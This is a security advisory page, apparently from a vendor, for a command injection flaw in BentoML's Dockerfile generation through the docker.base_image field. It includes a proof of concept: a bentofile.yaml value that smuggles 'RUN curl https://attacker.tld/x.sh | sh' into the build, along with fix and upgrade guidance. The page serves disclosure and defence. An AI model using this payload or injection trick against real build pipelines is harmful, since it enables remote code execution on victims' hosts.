Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-78f9-r8mh-4xm2 — bentoml

HIGH

GHSA-78f9-r8mh-4xm2 is a high-severity (CVSS 8.8) OS Command Injection vulnerability in bentoml. A fix is available for bentoml — see the affected versions and patch details below.

BentoML Dockerfile command injection via docker.base_image (sister of pending GHSA-w2pm-x38x-jp44 / CVE-2026-33744 / CVE-2026-35043)

Also known asCVE-2026-44345PYSEC-2026-189
Published
May 11, 2026
Updated
Jun 9, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-78f9-r8mh-4xm2.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-78f9-r8mh-4xm2 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍bentoml

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

The same Dockerfile template that mishandles envs[*].name (pending GHSA-w2pm-x38x-jp44) also interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host.

Vulnerable code

src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38 (current main, 2026-04-28):

FROM {{ __options__base_image }} AS base-container

__options__base_image resolves to DockerOptions.base_image (src/bentoml/_internal/bento/build_config.py:176):

base_image: t.Optional[str] = None

No validator, no converter, no newline check. The value is loaded straight from bento.yaml in src/bentoml/_internal/container/__init__.py:206 via DockerOptions(**docker_attrs) and rendered as-is.

PoC

Malicious bentofile.yaml:

docker:
  base_image: |
    python:3.10
    RUN curl https://attacker.tld/x.sh | sh
    FROM scratch

Minimal reproduction of the unsafe interpolation:

from jinja2 import Environment
env = Environment()
malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch'
out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious)
print(out)

Output:

FROM python:3.10
RUN curl https://attacker.tld/x.sh | sh
FROM scratch AS base-container

Three valid Dockerfile directives instead of one. The RUN curl executes during docker build. The trailing FROM scratch AS base-container provides the named build stage the rest of the template depends on, so the build proceeds without error.

Impact

Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during bentoml containerize of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects docker.base_image to be a Docker image reference, not a Dockerfile fragment.

Suggested fix

Validate DockerOptions.base_image at the config layer: reject any value containing newline characters (\n, \r) or whitespace beyond a single space-separated tag. A regex like ^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$ covers the practical Docker reference format.

The same hardening should be extended to other unvalidated fields interpolated raw in base_v2.j2:

  • __options__build_include[*] at line 97 (COPY ... ./src/{{ name }} ./src/{{ name }}) — same newline-injection class for path entries from Image.build_include(*file_paths).
  • bento__user, bento__uid_gid, bento__path, bento__home, bento__entrypoint — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through override_bento_env.

References

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIbentomlall versions1.4.39pip install --upgrade 'bentoml==1.4.39'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for bentoml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update bentoml to 1.4.39 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-78f9-r8mh-4xm2 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-78f9-r8mh-4xm2 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-78f9-r8mh-4xm2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28): ```jinja FROM {{ __options__base
O3 Security · Impact-Aware SCA

Is GHSA-78f9-r8mh-4xm2 in your dependencies?

O3 Security finds GHSA-78f9-r8mh-4xm2 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-78f9-r8mh-4xm2: bentoml (High 8.8) | O3 Security